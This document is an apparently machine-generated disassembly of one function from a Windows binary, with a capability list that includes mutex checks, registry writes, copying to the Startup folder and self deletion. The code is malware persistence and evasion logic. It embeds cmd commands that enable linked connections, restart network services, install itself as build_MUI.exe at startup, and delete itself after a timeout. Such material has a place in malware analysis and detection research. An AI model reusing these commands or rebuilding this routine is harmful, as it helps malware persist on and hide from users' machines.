Function at 0x40118a
Capabilities:
Check if file exists
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Create process on windows
Get file attributes
Get session user name
Self delete
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x18c
mov eax, dword [0x458068]
xor eax, esp
mov dword [esp + 0x188], eax
push ebx
push esi
mov esi, dword [ebp + 0xc]
xor ebx, ebx
push edi
push 0x451c48
push ebx
push ebx
mov dword [esp + 0x80], ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x40153a
push str.__c_reg_add_HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionPoliciesSystem__v_EnableLinkedConnections__t_REG_DWORD__d_0x00000001__f
lea ecx, [esp + 0x30]
call fcn.004015ba
cmp dword [eax + 0x14], 0x10
jb 0x4011ef
mov eax, dword [eax]
mov edi, dword [sym.imp.SHELL32.dll_ShellExecuteA]
xor ecx, ecx
push ecx
push ecx
push eax
push str.cmd.exe
push str.open
push ecx
call edi
lea ecx, [esp + 0x2c]
call fcn.00401665
push str.__c_net_stop_Browser__y__net_stop_lanmanworkstation__y__net_start_Browser__net_start_lanmanworkstation
lea ecx, [esp + 0x30]
call fcn.004015ba
cmp dword [eax + 0x14], 0x10
jb 0x401226
mov eax, dword [eax]
xor ecx, ecx
push ecx
push ecx
push eax
push str.cmd.exe
push str.open
push ecx
call edi
lea ecx, [esp + 0x2c]
call fcn.00401665
cmp dword [ebp + 8], 2
jne 0x40129f
call fcn.00401ee3
call fcn.004028f4
call fcn.00402b8d
call fcn.00403fb1
call fcn.00402ac5
push dword [esi + 4]
lea ecx, [esp + 0x18]
call fcn.004015ba
sub esp, 0x18
mov ecx, esp
push 0x44f978
call fcn.00401560
sub esp, 0x18
lea edx, [esp + 0x44]
mov ecx, esp
call fcn.00406a89
call fcn.00403c10
add esp, 0x30
lea ecx, [esp + 0x14]
call fcn.00401665
jmp 0x401523
lea eax, [esp + 0x74]
mov dword [esp + 0x74], 0x100
push eax
lea eax, [esp + 0x94]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea eax, [esp + 0x90]
push eax
lea ecx, [esp + 0x30]
call fcn.004015ba
lea edx, [esp + 0x2c]
lea ecx, [esp + 0x44]
call fcn.00406a89
push str.C:Users_
mov esi, eax
call fcn.0042603d
pop ecx
push eax
push str.C:Users_
push ecx
mov ecx, esi
call fcn.00401a4d
push eax
lea ecx, [esp + 0x18]
call fcn.004019d3
mov esi, str.AppDataRoamingMicrosoftWindowsStart_MenuProgramsStartup_build_MUI.exe
push esi
call fcn.0042603d
pop ecx
push eax
push esi
lea ecx, [esp + 0x1c]
call fcn.00401b40
push eax
lea ecx, [esp + 0x7c]
call fcn.004019d3
lea ecx, [esp + 0x14]
call fcn.004015e9
lea ecx, [esp + 0x44]
call fcn.004015e9
lea ecx, [esp + 0x2c]
call fcn.00401665
cmp dword [esp + 0x8c], 8
lea eax, [esp + 0x78]
cmovae eax, dword [esp + 0x78]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x4013a1
lea ecx, [esp + 0x44]
call fcn.00406e6b
cmp dword [esp + 0x8c], 8
lea ecx, [esp + 0x78]
mov edx, eax
cmovae ecx, dword [esp + 0x78]
cmp dword [eax + 0x14], 8
jb 0x40137a
mov edx, dword [eax]
mov eax, dword [eax + 0x10]
cmp eax, dword [esp + 0x88]
jne 0x40139e
push eax
push ecx
push edx
call fcn.00401130
add esp, 0xc
test eax, eax
jne 0x40139e
xor ebx, ebx
inc ebx
mov byte [esp + 0x13], bl
jmp 0x4013a6
xor ebx, ebx
inc ebx
mov byte [esp + 0x13], 0
test bl, 1
je 0x4013b4
lea ecx, [esp + 0x44]
call fcn.004015e9
cmp byte [esp + 0x13], 0
jne 0x401541
cmp dword [esp + 0x8c], 8
lea esi, [esp + 0x78]
lea ecx, [esp + 0x44]
cmovae esi, dword [esp + 0x78]
call fcn.00406e6b
cmp dword [eax + 0x14], 8
jb 0x4013e1
mov eax, dword [eax]
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
lea ecx, [esp + 0x44]
call fcn.004015e9
lea edx, [esp + 0x78]
lea ecx, [esp + 0x44]
call fcn.00406afc
mov ebx, str.__c__
mov esi, eax
push ebx
call fcn.00425e90
pop ecx
push eax
push ebx
push ecx
mov ecx, esi
call fcn.00401c06
push eax
lea ecx, [esp + 0x30]
call fcn.00401596
mov esi, 0x44fa30
push esi
call fcn.00425e90
pop ecx
push eax
push esi
lea ecx, [esp + 0x34]
call fcn.004016d4
push eax
lea ecx, [esp + 0x18]
call fcn.00401596
cmp dword [esp + 0x28], 0x10
lea eax, [esp + 0x14]
cmovae eax, dword [esp + 0x14]
xor ecx, ecx
push ecx
push ecx
push eax
push str.cmd.exe
push str.open
push ecx
call edi
lea ecx, [esp + 0x14]
call fcn.00401665
lea ecx, [esp + 0x2c]
call fcn.00401665
lea ecx, [esp + 0x44]
call fcn.00401665
lea ecx, [esp + 0x5c]
call fcn.00406e6b
mov edx, eax
lea ecx, [esp + 0x44]
call fcn.00406afc
mov ebx, str.__c_timeout__T_15__NOBREAK__del__
mov esi, eax
push ebx
call fcn.00425e90
pop ecx
push eax
push ebx
push ecx
mov ecx, esi
call fcn.00401c06
push eax
lea ecx, [esp + 0x30]
call fcn.00401596
mov esi, str.___F
push esi
call fcn.00425e90
pop ecx
push eax
push esi
lea ecx, [esp + 0x34]
call fcn.004016d4
push eax
lea ecx, [esp + 0x18]
call fcn.00401596
cmp dword [esp + 0x28], 0x10
lea eax, [esp + 0x14]
cmovae eax, dword [esp + 0x14]
xor ecx, ecx
push ecx
push ecx
push eax
push str.cmd.exe
push str.open
push ecx
call edi
lea ecx, [esp + 0x14]
call fcn.00401665
lea ecx, [esp + 0x2c]
call fcn.00401665
lea ecx, [esp + 0x44]
call fcn.00401665
lea ecx, [esp + 0x5c]
call fcn.004015e9
lea ecx, [esp + 0x78]
call fcn.004015e9
mov ecx, dword [esp + 0x194]
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0040b584
mov esp, ebp
pop ebp
ret
push 0
call fcn.00427c56
call fcn.00401ee3
call fcn.004028f4
call fcn.00402b8d
call fcn.00402ac5
call fcn.00403fb1
call fcn.0040411b
int3